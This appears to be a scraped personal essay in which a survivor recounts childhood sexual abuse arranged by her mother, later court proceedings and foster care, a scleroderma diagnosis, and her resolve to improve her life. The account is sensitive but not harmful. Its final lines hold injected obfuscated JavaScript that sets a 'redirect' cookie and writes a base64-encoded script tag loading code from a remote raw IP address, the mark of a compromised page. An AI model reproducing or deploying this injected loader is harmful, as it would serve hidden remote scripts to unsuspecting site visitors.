There are many obstacles I have had to overcome within a short amount of time. My life took a turn when I entered middle school. Nothing was the same after that.​

The incident began during the summer of my six-grade year, I had just finished elementary school. I was on a car ride with my mother, when randomly she asked me if I would have sexual intercourse with her boyfriend. After confirming that she was indeed serious, I said no, but being only eleven years old and the youngest of the family, I wanted to please my mother; she said “if you love me you would do this.” I loved my mother dearly, so I could not help but cry at the fact that she was offering my pure body to a man that belonged to her. Not only was she offering my body to her own boyfriend, but she put a price on me. I was basically sold as his sex-slave. I eventually gave into her twisted guilt-trip.

​During that summer, my mother did unforgivable things. It all started with a knock at my door. Outside the door stood my mother and her boyfriend, ready to abuse me. I was led multiple times to their bedroom where my mother watched him sexually abuse me. On other occasions they would pick me up from my friend’s house and make me go to motels with them. He was a drunk and I did not know what he was capable of doing. My life felt so threatened. The abuse went on for about two years, until my sister caught him coming out of my room. I eventually told her the truth, but we could not do anything about it because we were afraid that our older siblings would kill him. We did not want to risk it. We had to keep it a secret.

It seemed as if the abuse never stopped, at first I would try to find a way out. I would do so by staying out as much as possible, spending the night at a friend’s house, or pretend I was asleep. Eventually I revealed my secret to my best friends. My best friends could not handle my life situation and told the school counselor, who ended up calling the police. I was immediately put into foster care for at least three months. I had to go through court and testify against him. He ended up getting twenty-five to life. My mother on the other hand is released when I graduate high school.

​Before I finished middle school, I was diagnosed with Scleroderma. This affects my mobility. To this day, Scleroderma remains a non-curable mysterious disease to scientists.

​These life-changing obstacles I have faced are the reason to my self-driven motivation. It is my motivation to change the outcome of my life because no one else can control it anymore. Especially, with my grades because that show casts my ability to not let my dreams slip away from me. It allows me to place my focus on something that is important and to accomplish something that is rewarding to me. These life situations allow me to demonstrate what I am capable of doing. I know I went through a life changing situation, but I want people to know that you can change your life for the better. The only person that can hurt you now is yourself. When being able to seek help is the best way to begin to get better. No one else can take your happiness away but yourself. Just know there are people out there that love and care for you, even when you may not realize it. All we can is hope for a better day. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘